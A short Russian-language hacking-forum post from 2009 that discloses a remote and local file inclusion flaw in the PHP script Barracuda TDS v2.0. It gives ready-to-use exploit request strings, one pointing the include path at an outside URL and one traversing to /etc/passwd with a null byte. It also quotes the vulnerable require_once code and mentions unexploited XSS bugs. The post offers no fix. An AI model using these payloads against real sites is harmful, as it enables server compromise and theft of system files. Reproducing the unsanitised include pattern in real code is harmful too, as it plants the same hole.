Показать сообщение отдельно

Barracuda TDS v2.0 RFI \ LFI
  #1  
Старый 18.03.2009, 22:42
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию Barracuda TDS v2.0 RFI \ LFI

Barracuda TDS
Версия: 2.0
Скачать: http://skripters.com/engine/download.php?id=555
Зависимость: register_globals = on

RFI \ LFI (укомплектовано раскрытием путей))
Запрос:
include_components.php?g_allowed_array[components][]=a&gParams[root_dir]=http://google.com/?
include_components.php?g_allowed_array[components][]=a&gParams[root_dir]=../../../../../../../../../../../../etc/passwd%00
Уязвимый кусок кода:
PHP код:
$g_all_objects = array();
reset($g_all_objects);
foreach(
$g_allowed_array['components'] as $key)
{
    require_once(
$gParams['root_dir'].'components/'.$key.'.php');
    
$key substr$key0strlen$key )-);
    
$a 'g'.$key;
    
$b 'c'.$key;
    $
$a = new $b($gComponent);
    
$g_all_objects[] = $a;

Еще присутствует мешок XSS'ок, только накой они нужны, если есть RFI?
 
Ответить с цитированием